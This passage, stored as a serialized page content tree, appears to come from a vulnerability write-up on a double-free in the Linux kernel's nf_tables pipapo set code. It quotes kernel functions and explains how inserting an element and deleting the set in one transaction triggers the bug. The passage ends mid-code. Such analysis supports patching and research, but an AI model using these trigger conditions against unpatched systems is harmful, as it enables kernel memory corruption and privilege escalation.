r;\n",{"type":24,"tag":930,"props":54269,"children":54270},{"class":932,"line":1122},[54271],{"type":24,"tag":930,"props":54272,"children":54273},{"emptyLinePlaceholder":16},[54274],{"type":30,"value":2412},{"type":24,"tag":930,"props":54276,"children":54277},{"class":932,"line":1131},[54278,54283,54288,54292,54296,54301,54305,54310,54314,54318,54323,54327,54331,54335,54340,54345,54349,54354,54359,54364,54368],{"type":24,"tag":930,"props":54279,"children":54280},{"style":1079},[54281],{"type":30,"value":54282}," for",{"type":24,"tag":930,"props":54284,"children":54285},{"style":959},[54286],{"type":30,"value":54287}," (i ",{"type":24,"tag":930,"props":54289,"children":54290},{"style":1158},[54291],{"type":30,"value":1161},{"type":24,"tag":930,"props":54293,"children":54294},{"style":1242},[54295],{"type":30,"value":1245},{"type":24,"tag":930,"props":54297,"children":54298},{"style":959},[54299],{"type":30,"value":54300},", f ",{"type":24,"tag":930,"props":54302,"children":54303},{"style":1158},[54304],{"type":30,"value":1161},{"type":24,"tag":930,"props":54306,"children":54307},{"style":1023},[54308],{"type":30,"value":54309}," m",{"type":24,"tag":930,"props":54311,"children":54312},{"style":959},[54313],{"type":30,"value":16864},{"type":24,"tag":930,"props":54315,"children":54316},{"style":1023},[54317],{"type":30,"value":36173},{"type":24,"tag":930,"props":54319,"children":54320},{"style":959},[54321],{"type":30,"value":54322},"; i ",{"type":24,"tag":930,"props":54324,"children":54325},{"style":1158},[54326],{"type":30,"value":1350},{"type":24,"tag":930,"props":54328,"children":54329},{"style":1023},[54330],{"type":30,"value":54309},{"type":24,"tag":930,"props":54332,"children":54333},{"style":959},[54334],{"type":30,"value":16864},{"type":24,"tag":930,"props":54336,"children":54337},{"style":1023},[54338],{"type":30,"value":54339},"field_count",{"type":24,"tag":930,"props":54341,"children":54342},{"style":1158},[54343],{"type":30,"value":54344}," -",{"type":24,"tag":930,"props":54346,"children":54347},{"style":1242},[54348],{"type":30,"value":7637},{"type":24,"tag":930,"props":54350,"children":54351},{"style":959},[54352],{"type":30,"value":54353},"; i",{"type":24,"tag":930,"props":54355,"children":54356},{"style":1158},[54357],{"type":30,"value":54358},"++",{"type":24,"tag":930,"props":54360,"children":54361},{"style":959},[54362],{"type":30,"value":54363},", f",{"type":24,"tag":930,"props":54365,"children":54366},{"style":1158},[54367],{"type":30,"value":54358},{"type":24,"tag":930,"props":54369,"children":54370},{"style":959},[54371],{"type":30,"value":1054},{"type":24,"tag":930,"props":54373,"children":54374},{"class":932,"line":1144},[54375],{"type":24,"tag":930,"props":54376,"children":54377},{"style":959},[54378],{"type":30,"value":54379},"  ;\n",{"type":24,"tag":930,"props":54381,"children":54382},{"class":932,"line":1169},[54383],{"type":24,"tag":930,"props":54384,"children":54385},{"emptyLinePlaceholder":16},[54386],{"type":30,"value":2412},{"type":24,"tag":930,"props":54388,"children":54389},{"class":932,"line":1191},[54390,54394,54399,54403,54407,54412,54416,54420,54424,54429,54434,54438],{"type":24,"tag":930,"props":54391,"children":54392},{"style":1079},[54393],{"type":30,"value":54282},{"type":24,"tag":930,"props":54395,"children":54396},{"style":959},[54397],{"type":30,"value":54398}," (r ",{"type":24,"tag":930,"props":54400,"children":54401},{"style":1158},[54402],{"type":30,"value":1161},{"type":24,"tag":930,"props":54404,"children":54405},{"style":1242},[54406],{"type":30,"value":1245},{"type":24,"tag":930,"props":54408,"children":54409},{"style":959},[54410],{"type":30,"value":54411},"; r ",{"type":24,"tag":930,"props":54413,"children":54414},{"style":1158},[54415],{"type":30,"value":1350},{"type":24,"tag":930,"props":54417,"children":54418},{"style":1023},[54419],{"type":30,"value":36059},{"type":24,"tag":930,"props":54421,"children":54422},{"style":959},[54423],{"type":30,"value":16864},{"type":24,"tag":930,"props":54425,"children":54426},{"style":1023},[54427],{"type":30,"value":54428},"rules",{"type":24,"tag":930,"props":54430,"children":54431},{"style":959},[54432],{"type":30,"value":54433},"; r",{"type":24,"tag":930,"props":54435,"children":54436},{"style":1158},[54437],{"type":30,"value":54358},{"type":24,"tag":930,"props":54439,"children":54440},{"style":959},[54441],{"type":30,"value":1503},{"type":24,"tag":930,"props":54443,"children":54444},{"class":932,"line":1223},[54445,54449,54454,54458],{"type":24,"tag":930,"props":54446,"children":54447},{"style":937},[54448],{"type":30,"value":8909},{"type":24,"tag":930,"props":54450,"children":54451},{"style":959},[54452],{"type":30,"value":54453}," nft_pipapo_elem ",{"type":24,"tag":930,"props":54455,"children":54456},{"style":1158},[54457],{"type":30,"value":1410},{"type":24,"tag":930,"props":54459,"children":54460},{"style":959},[54461],{"type":30,"value":54462},"e;\n",{"type":24,"tag":930,"props":54464,"children":54465},{"class":932,"line":1281},[54466],{"type":24,"tag":930,"props":54467,"children":54468},{"emptyLinePlaceholder":16},[54469],{"type":30,"value":2412},{"type":24,"tag":930,"props":54471,"children":54472},{"class":932,"line":1313},[54473,54477,54481,54485,54489,54493,54497,54501,54505,54509,54513,54517,54522,54527,54531,54535,54539,54544,54548,54552,54556,54560,54565,54569],{"type":24,"tag":930,"props":54474,"children":54475},{"style":1079},[54476],{"type":30,"value":34486},{"type":24,"tag":930,"props":54478,"children":54479},{"style":959},[54480],{"type":30,"value":54398},{"type":24,"tag":930,"props":54482,"children":54483},{"style":1158},[54484],{"type":30,"value":1350},{"type":24,"tag":930,"props":54486,"children":54487},{"style":1023},[54488],{"type":30,"value":36059},{"type":24,"tag":930,"props":54490,"children":54491},{"style":959},[54492],{"type":30,"value":16864},{"type":24,"tag":930,"props":54494,"children":54495},{"style":1023},[54496],{"type":30,"value":54428},{"type":24,"tag":930,"props":54498,"children":54499},{"style":1158},[54500],{"type":30,"value":54344},{"type":24,"tag":930,"props":54502,"children":54503},{"style":1242},[54504],{"type":30,"value":7637},{"type":24,"tag":930,"props":54506,"children":54507},{"style":1158},[54508],{"type":30,"value":17291},{"type":24,"tag":930,"props":54510,"children":54511},{"style":1023},[54512],{"type":30,"value":36059},{"type":24,"tag":930,"props":54514,"children":54515},{"style":959},[54516],{"type":30,"value":16864},{"type":24,"tag":930,"props":54518,"children":54519},{"style":1023},[54520],{"type":30,"value":54521},"mt",{"type":24,"tag":930,"props":54523,"children":54524},{"style":959},[54525],{"type":30,"value":54526},"[r ",{"type":24,"tag":930,"props":54528,"children":54529},{"style":1158},[54530],{"type":30,"value":1400},{"type":24,"tag":930,"props":54532,"children":54533},{"style":1242},[54534],{"type":30,"value":7637},{"type":24,"tag":930,"props":54536,"children":54537},{"style":959},[54538],{"type":30,"value":53438},{"type":24,"tag":930,"props":54540,"children":54541},{"style":1023},[54542],{"type":30,"value":54543},"e",{"type":24,"tag":930,"props":54545,"children":54546},{"style":1158},[54547],{"type":30,"value":6402},{"type":24,"tag":930,"props":54549,"children":54550},{"style":1023},[54551],{"type":30,"value":36059},{"type":24,"tag":930,"props":54553,"children":54554},{"style":959},[54555],{"type":30,"value":16864},{"type":24,"tag":930,"props":54557,"children":54558},{"style":1023},[54559],{"type":30,"value":54521},{"type":24,"tag":930,"props":54561,"children":54562},{"style":959},[54563],{"type":30,"value":54564},"[r].",{"type":24,"tag":930,"props":54566,"children":54567},{"style":1023},[54568],{"type":30,"value":54543},{"type":24,"tag":930,"props":54570,"children":54571},{"style":959},[54572],{"type":30,"value":1054},{"type":24,"tag":930,"props":54574,"children":54575},{"class":932,"line":1335},[54576,54581],{"type":24,"tag":930,"props":54577,"children":54578},{"style":1079},[54579],{"type":30,"value":54580},"   continue",{"type":24,"tag":930,"props":54582,"children":54583},{"style":959},[54584],{"type":30,"value":5539},{"type":24,"tag":930,"props":54586,"children":54587},{"class":932,"line":1376},[54588],{"type":24,"tag":930,"props":54589,"children":54590},{"emptyLinePlaceholder":16},[54591],{"type":30,"value":2412},{"type":24,"tag":930,"props":54593,"children":54594},{"class":932,"line":1418},[54595,54600,54604,54608,54612,54616,54620,54624],{"type":24,"tag":930,"props":54596,"children":54597},{"style":959},[54598],{"type":30,"value":54599},"  e ",{"type":24,"tag":930,"props":54601,"children":54602},{"style":1158},[54603],{"type":30,"value":1161},{"type":24,"tag":930,"props":54605,"children":54606},{"style":1023},[54607],{"type":30,"value":36059},{"type":24,"tag":930,"props":54609,"children":54610},{"style":959},[54611],{"type":30,"value":16864},{"type":24,"tag":930,"props":54613,"children":54614},{"style":1023},[54615],{"type":30,"value":54521},{"type":24,"tag":930,"props":54617,"children":54618},{"style":959},[54619],{"type":30,"value":54564},{"type":24,"tag":930,"props":54621,"children":54622},{"style":1023},[54623],{"type":30,"value":54543},{"type":24,"tag":930,"props":54625,"children":54626},{"style":959},[54627],{"type":30,"value":5539},{"type":24,"tag":930,"props":54629,"children":54630},{"class":932,"line":1438},[54631],{"type":24,"tag":930,"props":54632,"children":54633},{"emptyLinePlaceholder":16},[54634],{"type":30,"value":2412},{"type":24,"tag":930,"props":54636,"children":54637},{"class":932,"line":1479},[54638,54643,54648,54652,54656,54660,54665],{"type":24,"tag":930,"props":54639,"children":54640},{"style":1002},[54641],{"type":30,"value":54642},"  nf_tables_set_elem_destroy",{"type":24,"tag":930,"props":54644,"children":54645},{"style":959},[54646],{"type":30,"value":54647},"(ctx, set, ",{"type":24,"tag":930,"props":54649,"children":54650},{"style":1158},[54651],{"type":30,"value":6230},{"type":24,"tag":930,"props":54653,"children":54654},{"style":1023},[54655],{"type":30,"value":54543},{"type":24,"tag":930,"props":54657,"children":54658},{"style":959},[54659],{"type":30,"value":16864},{"type":24,"tag":930,"props":54661,"children":54662},{"style":1023},[54663],{"type":30,"value":54664},"priv",{"type":24,"tag":930,"props":54666,"children":54667},{"style":959},[54668],{"type":30,"value":1278},{"type":24,"tag":930,"props":54670,"children":54671},{"class":932,"line":1506},[54672],{"type":24,"tag":930,"props":54673,"children":54674},{"style":959},[54675],{"type":30,"value":12704},{"type":24,"tag":930,"props":54677,"children":54678},{"class":932,"line":1525},[54679],{"type":24,"tag":930,"props":54680,"children":54681},{"style":959},[54682],{"type":30,"value":2528},{"type":24,"tag":33,"props":54684,"children":54685},{},[54686,54688,54694,54696,54701],{"type":30,"value":54687},"Which will then ",{"type":24,"tag":156,"props":54689,"children":54691},{"className":54690},[],[54692],{"type":30,"value":54693},"kfree()",{"type":30,"value":54695}," the ",{"type":24,"tag":156,"props":54697,"children":54699},{"className":54698},[],[54700],{"type":30,"value":54100},{"type":30,"value":436},{"type":24,"tag":920,"props":54703,"children":54705},{"className":19616,"code":54704,"language":6268,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n    const struct nft_set *set,\n    const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n  nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[54706],{"type":24,"tag":156,"props":54707,"children":54708},{"__ignoreMap":7},[54709,54750,54778,54807,54814,54849,54856,54877,54900,54907,54920],{"type":24,"tag":930,"props":54710,"children":54711},{"class":932,"line":933},[54712,54717,54722,54726,54730,54734,54738,54742,54746],{"type":24,"tag":930,"props":54713,"children":54714},{"style":937},[54715],{"type":30,"value":54716},"void",{"type":24,"tag":930,"props":54718,"children":54719},{"style":1002},[54720],{"type":30,"value":54721}," nf_tables_set_elem_destroy",{"type":24,"tag":930,"props":54723,"children":54724},{"style":959},[54725],{"type":30,"value":1010},{"type":24,"tag":930,"props":54727,"children":54728},{"style":937},[54729],{"type":30,"value":12762},{"type":24,"tag":930,"props":54731,"children":54732},{"style":937},[54733],{"type":30,"value":24253},{"type":24,"tag":930,"props":54735,"children":54736},{"style":959},[54737],{"type":30,"value":54160},{"type":24,"tag":930,"props":54739,"children":54740},{"style":1158},[54741],{"type":30,"value":1410},{"type":24,"tag":930,"props":54743,"children":54744},{"style":1023},[54745],{"type":30,"value":23384},{"type":24,"tag":930,"props":54747,"children":54748},{"style":959},[54749],{"type":30,"value":2832},{"type":24,"tag":930,"props":54751,"children":54752},{"class":932,"line":984},[54753,54758,54762,54766,54770,54774],{"type":24,"tag":930,"props":54754,"children":54755},{"style":937},[54756],{"type":30,"value":54757},"    const",{"type":24,"tag":930,"props":54759,"children":54760},{"style":937},[54761],{"type":30,"value":24253},{"type":24,"tag":930,"props":54763,"children":54764},{"style":959},[54765],{"type":30,"value":54188},{"type":24,"tag":930,"props":54767,"children":54768},{"style":1158},[54769],{"type":30,"value":1410},{"type":24,"tag":930,"props":54771,"children":54772},{"style":1023},[54773],{"type":30,"value":54108},{"type":24,"tag":930,"props":54775,"children":54776},{"style":959},[54777],{"type":30,"value":2832},{"type":24,"tag":930,"props":54779,"children":54780},{"class":932,"line":993},[54781,54785,54789,54794,54798,54803],{"type":24,"tag":930,"props":54782,"children":54783},{"style":937},[54784],{"type":30,"value":54757},{"type":24,"tag":930,"props":54786,"children":54787},{"style":937},[54788],{"type":30,"value":24253},{"type":24,"tag":930,"props":54790,"children":54791},{"style":959},[54792],{"type":30,"value":54793}," nft_elem_priv ",{"type":24,"tag":930,"props":54795,"children":54796},{"style":1158},[54797],{"type":30,"value":1410},{"type":24,"tag":930,"props":54799,"children":54800},{"style":1023},[54801],{"type":30,"value":54802},"elem_priv",{"type":24,"tag":930,"props":54804,"children":54805},{"style":959},[54806],{"type":30,"value":1054},{"type":24,"tag":930,"props":54808,"children":54809},{"class":932,"line":1057},[54810],{"type":24,"tag":930,"props":54811,"children":54812},{"style":959},[54813],{"type":30,"value":13987},{"type":24,"tag":930,"props":54815,"children":54816},{"class":932,"line":1066},[54817,54821,54826,54830,54835,54839,54844],{"type":24,"tag":930,"props":54818,"children":54819},{"style":937},[54820],{"type":30,"value":24253},{"type":24,"tag":930,"props":54822,"children":54823},{"style":959},[54824],{"type":30,"value":54825}," nft_set_ext ",{"type":24,"tag":930,"props":54827,"children":54828},{"style":1158},[54829],{"type":30,"value":1410},{"type":24,"tag":930,"props":54831,"children":54832},{"style":959},[54833],{"type":30,"value":54834},"ext ",{"type":24,"tag":930,"props":54836,"children":54837},{"style":1158},[54838],{"type":30,"value":1161},{"type":24,"tag":930,"props":54840,"children":54841},{"style":1002},[54842],{"type":30,"value":54843}," nft_set_elem_ext",{"type":24,"tag":930,"props":54845,"children":54846},{"style":959},[54847],{"type":30,"value":54848},"(set, elem_priv);\n",{"type":24,"tag":930,"props":54850,"children":54851},{"class":932,"line":1075},[54852],{"type":24,"tag":930,"props":54853,"children":54854},{"emptyLinePlaceholder":16},[54855],{"type":30,"value":2412},{"type":24,"tag":930,"props":54857,"children":54858},{"class":932,"line":1122},[54859,54863,54867,54872],{"type":24,"tag":930,"props":54860,"children":54861},{"style":1079},[54862],{"type":30,"value":2322},{"type":24,"tag":930,"props":54864,"children":54865},{"style":959},[54866],{"type":30,"value":1087},{"type":24,"tag":930,"props":54868,"children":54869},{"style":1002},[54870],{"type":30,"value":54871},"nft_set_ext_exists",{"type":24,"tag":930,"props":54873,"children":54874},{"style":959},[54875],{"type":30,"value":54876},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":24,"tag":930,"props":54878,"children":54879},{"class":932,"line":1131},[54880,54885,54890,54895],{"type":24,"tag":930,"props":54881,"children":54882},{"style":1002},[54883],{"type":30,"value":54884},"  nft_set_elem_expr_destroy",{"type":24,"tag":930,"props":54886,"children":54887},{"style":959},[54888],{"type":30,"value":54889},"(ctx, ",{"type":24,"tag":930,"props":54891,"children":54892},{"style":1002},[54893],{"type":30,"value":54894},"nft_set_ext_expr",{"type":24,"tag":930,"props":54896,"children":54897},{"style":959},[54898],{"type":30,"value":54899},"(ext));\n",{"type":24,"tag":930,"props":54901,"children":54902},{"class":932,"line":1144},[54903],{"type":24,"tag":930,"props":54904,"children":54905},{"emptyLinePlaceholder":16},[54906],{"type":30,"value":2412},{"type":24,"tag":930,"props":54908,"children":54909},{"class":932,"line":1169},[54910,54915],{"type":24,"tag":930,"props":54911,"children":54912},{"style":1002},[54913],{"type":30,"value":54914}," kfree",{"type":24,"tag":930,"props":54916,"children":54917},{"style":959},[54918],{"type":30,"value":54919},"(elem_priv);\n",{"type":24,"tag":930,"props":54921,"children":54922},{"class":932,"line":1191},[54923],{"type":24,"tag":930,"props":54924,"children":54925},{"style":959},[54926],{"type":30,"value":2528},{"type":24,"tag":33,"props":54928,"children":54929},{},[54930,54931,54937,54939,54944,54946,54951,54953,54958,54959,54964,54966,54971,54973,54978,54980,54985],{"type":30,"value":259},{"type":24,"tag":156,"props":54932,"children":54934},{"className":54933},[],[54935],{"type":30,"value":54936},"nft_pipapo_match",{"type":30,"value":54938}," objects contain views of the ",{"type":24,"tag":156,"props":54940,"children":54942},{"className":54941},[],[54943],{"type":30,"value":54100},{"type":30,"value":54945},"'s of a ",{"type":24,"tag":156,"props":54947,"children":54949},{"className":54948},[],[54950],{"type":30,"value":54108},{"type":30,"value":54952},". The difference between the ",{"type":24,"tag":156,"props":54954,"children":54956},{"className":54955},[],[54957],{"type":30,"value":54085},{"type":30,"value":211},{"type":24,"tag":156,"props":54960,"children":54962},{"className":54961},[],[54963],{"type":30,"value":54069},{"type":30,"value":54965}," match objects is that the clone has a view of not only already committed ",{"type":24,"tag":156,"props":54967,"children":54969},{"className":54968},[],[54970],{"type":30,"value":54100},{"type":30,"value":54972},"'s that the \"normal\" one has but also a view of the ",{"type":24,"tag":156,"props":54974,"children":54976},{"className":54975},[],[54977],{"type":30,"value":54100},{"type":30,"value":54979},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":24,"tag":156,"props":54981,"children":54983},{"className":54982},[],[54984],{"type":30,"value":54085},{"type":30,"value":436},{"type":24,"tag":151,"props":54987,"children":54989},{"id":54988},"root-cause-analysis",[54990],{"type":30,"value":54991},"Root-cause analysis",{"type":24,"tag":33,"props":54993,"children":54994},{},[54995,54997,55003,55005,55010],{"type":30,"value":54996},"So ",{"type":24,"tag":156,"props":54998,"children":55000},{"className":54999},[],[55001],{"type":30,"value":55002},"nf_tables_set_elem_destroy",{"type":30,"value":55004}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":24,"tag":156,"props":55006,"children":55008},{"className":55007},[],[55009],{"type":30,"value":54100},{"type":30,"value":55011},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":24,"tag":33,"props":55013,"children":55014},{},[55015,55017,55022,55024,55029,55031,55036,55038,55043,55045,55050],{"type":30,"value":55016},"We should now try to understand how to reach that path with the ",{"type":24,"tag":156,"props":55018,"children":55020},{"className":55019},[],[55021],{"type":30,"value":54062},{"type":30,"value":55023}," flag set, which is a member of the private data of a pipapo ",{"type":24,"tag":156,"props":55025,"children":55027},{"className":55026},[],[55028],{"type":30,"value":54100},{"type":30,"value":55030}," that becomes true whenever a change is made to the ",{"type":24,"tag":156,"props":55032,"children":55034},{"className":55033},[],[55035],{"type":30,"value":54108},{"type":30,"value":55037}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":24,"tag":156,"props":55039,"children":55041},{"className":55040},[],[55042],{"type":30,"value":54108},{"type":30,"value":55044}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":24,"tag":156,"props":55046,"children":55048},{"className":55047},[],[55049],{"type":30,"value":54108},{"type":30,"value":55051}," dirty by inserting a new element.",{"type":24,"tag":920,"props":55053,"children":55055},{"className":19616,"code":55054,"language":6268,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n        const struct nft_set_elem *elem,\n        struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[55056],{"type":24,"tag":156,"props":55057,"children":55058},{"__ignoreMap":7},[55059,55129,55158,55183,55190,55197,55226,55233],{"type":24,"tag":930,"props":55060,"children":55061},{"class":932,"line":933},[55062,55066,55070,55075,55079,55083,55087,55092,55096,55101,55105,55109,55113,55117,55121,55125],{"type":24,"tag":930,"props":55063,"children":55064},{"style":937},[55065],{"type":30,"value":54133},{"type":24,"tag":930,"props":55067,"children":55068},{"style":937},[55069],{"type":30,"value":54262},{"type":24,"tag":930,"props":55071,"children":55072},{"style":1002},[55073],{"type":30,"value":55074}," nft_pipapo_insert",{"type":24,"tag":930,"props":55076,"children":55077},{"style":959},[55078],{"type":30,"value":1010},{"type":24,"tag":930,"props":55080,"children":55081},{"style":937},[55082],{"type":30,"value":12762},{"type":24,"tag":930,"props":55084,"children":55085},{"style":937},[55086],{"type":30,"value":24253},{"type":24,"tag":930,"props":55088,"children":55089},{"style":959},[55090],{"type":30,"value":55091}," net ",{"type":24,"tag":930,"props":55093,"children":55094},{"style":1158},[55095],{"type":30,"value":1410},{"type":24,"tag":930,"props":55097,"children":55098},{"style":1023},[55099],{"type":30,"value":55100},"net",{"type":24,"tag":930,"props":55102,"children":55103},{"style":959},[55104],{"type":30,"value":962},{"type":24,"tag":930,"props":55106,"children":55107},{"style":937},[55108],{"type":30,"value":12762},{"type":24,"tag":930,"props":55110,"children":55111},{"style":937},[55112],{"type":30,"value":24253},{"type":24,"tag":930,"props":55114,"children":55115},{"style":959},[55116],{"type":30,"value":54188},{"type":24,"tag":930,"props":55118,"children":55119},{"style":1158},[55120],{"type":30,"value":1410},{"type":24,"tag":930,"props":55122,"children":55123},{"style":1023},[55124],{"type":30,"value":54108},{"type":24,"tag":930,"props":55126,"children":55127},{"style":959},[55128],{"type":30,"value":2832},{"type":24,"tag":930,"props":55130,"children":55131},{"class":932,"line":984},[55132,55136,55140,55145,55149,55154],{"type":24,"tag":930,"props":55133,"children":55134},{"style":937},[55135],{"type":30,"value":35989},{"type":24,"tag":930,"props":55137,"children":55138},{"style":937},[55139],{"type":30,"value":24253},{"type":24,"tag":930,"props":55141,"children":55142},{"style":959},[55143],{"type":30,"value":55144}," nft_set_elem ",{"type":24,"tag":930,"props":55146,"children":55147},{"style":1158},[55148],{"type":30,"value":1410},{"type":24,"tag":930,"props":55150,"children":55151},{"style":1023},[55152],{"type":30,"value":55153},"elem",{"type":24,"tag":930,"props":55155,"children":55156},{"style":959},[55157],{"type":30,"value":2832},{"type":24,"tag":930,"props":55159,"children":55160},{"class":932,"line":993},[55161,55166,55170,55175,55179],{"type":24,"tag":930,"props":55162,"children":55163},{"style":937},[55164],{"type":30,"value":55165},"        struct",{"type":24,"tag":930,"props":55167,"children":55168},{"style":959},[55169],{"type":30,"value":54793},{"type":24,"tag":930,"props":55171,"children":55172},{"style":1158},[55173],{"type":30,"value":55174},"**",{"type":24,"tag":930,"props":55176,"children":55177},{"style":1023},[55178],{"type":30,"value":54802},{"type":24,"tag":930,"props":55180,"children":55181},{"style":959},[55182],{"type":30,"value":1054},{"type":24,"tag":930,"props":55184,"children":55185},{"class":932,"line":1057},[55186],{"type":24,"tag":930,"props":55187,"children":55188},{"style":959},[55189],{"type":30,"value":13987},{"type":24,"tag":930,"props":55191,"children":55192},{"class":932,"line":1066},[55193],{"type":24,"tag":930,"props":55194,"children":55195},{"style":959},[55196],{"type":30,"value":990},{"type":24,"tag":930,"props":55198,"children":55199},{"class":932,"line":1075},[55200,55205,55209,55214,55218,55222],{"type":24,"tag":930,"props":55201,"children":55202},{"style":1023},[55203],{"type":30,"value":55204}," priv",{"type":24,"tag":930,"props":55206,"children":55207},{"style":959},[55208],{"type":30,"value":16864},{"type":24,"tag":930,"props":55210,"children":55211},{"style":1023},[55212],{"type":30,"value":55213},"dirty",{"type":24,"tag":930,"props":55215,"children":55216},{"style":1158},[55217],{"type":30,"value":6137},{"type":24,"tag":930,"props":55219,"children":55220},{"style":937},[55221],{"type":30,"value":15576},{"type":24,"tag":930,"props":55223,"children":55224},{"style":959},[55225],{"type":30,"value":5539},{"type":24,"tag":930,"props":55227,"children":55228},{"class":932,"line":1122},[55229],{"type":24,"tag":930,"props":55230,"children":55231},{"style":959},[55232],{"type":30,"value":990},{"type":24,"tag":930,"props":55234,"children":55235},{"class":932,"line":1131},[55236],{"type":24,"tag":930,"props":55237,"children":55238},{"style":959},[55239],{"type":30,"value":2528},{"type":24,"tag":33,"props":55241,"children":55242},{},[55243],{"type":30,"value":55244},"We also see that when the changes are commited, this flag is then unset.",{"type":24,"tag":920,"props":55246,"children":55248},{"className":19616,"code":55247,"language":6268,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n  return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[55249],{"type":24,"tag":156,"props":55250,"children":55251},{"__ignoreMap":7},[55252,55292,55299,55306,55337,55348,55355,55382,55389],{"type":24,"tag":930,"props":55253,"children":55254},{"class":932,"line":933},[55255,55259,55263,55268,55272,55276,55280,55284,55288],{"type":24,"tag":930,"props":55256,"children":55257},{"style":937},[55258],{"type":30,"value":54133},{"type":24,"tag":930,"props":55260,"children":55261},{"style":937},[55262],{"type":30,"value":54138},{"type":24,"tag":930,"props":55264,"children":55265},{"style":1002},[55266],{"type":30,"value":55267}," nft_pipapo_commit",{"type":24,"tag":930,"props":55269,"children":55270},{"style":959},[55271],{"type":30,"value":1010},{"type":24,"tag":930,"props":55273,"children":55274},{"style":937},[55275],{"type":30,"value":12509},{"type":24,"tag":930,"props":55277,"children":55278},{"style":959},[55279],{"type":30,"value":54188},{"type":24,"tag":930,"props":55281,"children":55282},{"style":1158},[55283],{"type":30,"value":1410},{"type":24,"tag":930,"props":55285,"children":55286},{"style":1023},[55287],{"type":30,"value":54108},{"type":24,"tag":930,"props":55289,"children":55290},{"style":959},[55291],{"type":30,"value":1054},{"type":24,"tag":930,"props":55293,"children":55294},{"class":932,"line":984},[55295],{"type":24,"tag":930,"props":55296,"children":55297},{"style":959},[55298],{"type":30,"value":13987},{"type":24,"tag":930,"props":55300,"children":55301},{"class":932,"line":993},[55302],{"type":24,"tag":930,"props":55303,"children":55304},{"style":959},[55305],{"type":30,"value":990},{"type":24,"tag":930,"props":55307,"children":55308},{"class":932,"line":1057},[55309,55313,55317,55321,55325,55329,55333],{"type":24,"tag":930,"props":55310,"children":55311},{"style":1079},[55312],{"type":30,"value":2322},{"type":24,"tag":930,"props":55314,"children":55315},{"style":959},[55316],{"type":30,"value":1087},{"type":24,"tag":930,"props":55318,"children":55319},{"style":1158},[55320],{"type":30,"value":3299},{"type":24,"tag":930,"props":55322,"children":55323},{"style":1023},[55324],{"type":30,"value":54664},{"type":24,"tag":930,"props":55326,"children":55327},{"style":959},[55328],{"type":30,"value":16864},{"type":24,"tag":930,"props":55330,"children":55331},{"style":1023},[55332],{"type":30,"value":55213},{"type":24,"tag":930,"props":55334,"children":55335},{"style":959},[55336],{"type":30,"value":1054},{"type":24,"tag":930,"props":55338,"children":55339},{"class":932,"line":1066},[55340,55344],{"type":24,"tag":930,"props":55341,"children":55342},{"style":1079},[55343],{"type":30,"value":42286},{"type":24,"tag":930,"props":55345,"children":55346},{"style":959},[55347],{"type":30,"value":5539},{"type":24,"tag":930,"props":55349,"children":55350},{"class":932,"line":1075},[55351],{"type":24,"tag":930,"props":55352,"children":55353},{"style":959},[55354],{"type":30,"value":990},{"type":24,"tag":930,"props":55356,"children":55357},{"class":932,"line":1122},[55358,55362,55366,55370,55374,55378],{"type":24,"tag":930,"props":55359,"children":55360},{"style":1023},[55361],{"type":30,"value":55204},{"type":24,"tag":930,"props":55363,"children":55364},{"style":959},[55365],{"type":30,"value":16864},{"type":24,"tag":930,"props":55367,"children":55368},{"style":1023},[55369],{"type":30,"value":55213},{"type":24,"tag":930,"props":55371,"children":55372},{"style":1158},[55373],{"type":30,"value":6137},{"type":24,"tag":930,"props":55375,"children":55376},{"style":937},[55377],{"type":30,"value":12167},{"type":24,"tag":930,"props":55379,"children":55380},{"style":959},[55381],{"type":30,"value":5539},{"type":24,"tag":930,"props":55383,"children":55384},{"class":932,"line":1131},[55385],{"type":24,"tag":930,"props":55386,"children":55387},{"style":959},[55388],{"type":30,"value":990},{"type":24,"tag":930,"props":55390,"children":55391},{"class":932,"line":1144},[55392],{"type":24,"tag":930,"props":55393,"children":55394},{"style":959},[55395],{"type":30,"value":2528},{"type":24,"tag":33,"props":55397,"children":55398},{},[55399,55401,55406,55408,55413,55415,55420,55422,55427,55429,55435,55437,55443,55445,55450],{"type":30,"value":55400},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":24,"tag":156,"props":55402,"children":55404},{"className":55403},[],[55405],{"type":30,"value":54100},{"type":30,"value":55407}," in the ",{"type":24,"tag":156,"props":55409,"children":55411},{"className":55410},[],[55412],{"type":30,"value":54108},{"type":30,"value":55414}," to make it dirty and then delete the ",{"type":24,"tag":156,"props":55416,"children":55418},{"className":55417},[],[55419],{"type":30,"value":54108},{"type":30,"value":55421},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":24,"tag":156,"props":55423,"children":55425},{"className":55424},[],[55426],{"type":30,"value":54108},{"type":30,"value":55428},"'s ",{"type":24,"tag":156,"props":55430,"children":55432},{"className":55431},[],[55433],{"type":30,"value":55434},"->commit()",{"type":30,"value":55436}," method is executed before its ",{"type":24,"tag":156,"props":55438,"children":55440},{"className":55439},[],[55441],{"type":30,"value":55442},"->destroy()",{"type":30,"value":55444}," method, then the ",{"type":24,"tag":156,"props":55446,"children":55448},{"className":55447},[],[55449],{"type":30,"value":55213},{"type":30,"value":55451}," flag will be unset, and we won't be able to trigger the double-free.",{"type":24,"tag":33,"props":55453,"children":55454},{},[55455],{"type":30,"value":55456},"Let's once again refer to the code and see how these methods are called.",{"type":24,"tag":920,"props":55458,"children":55460},{"className":19616,"code":55459,"language":6268,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n  case 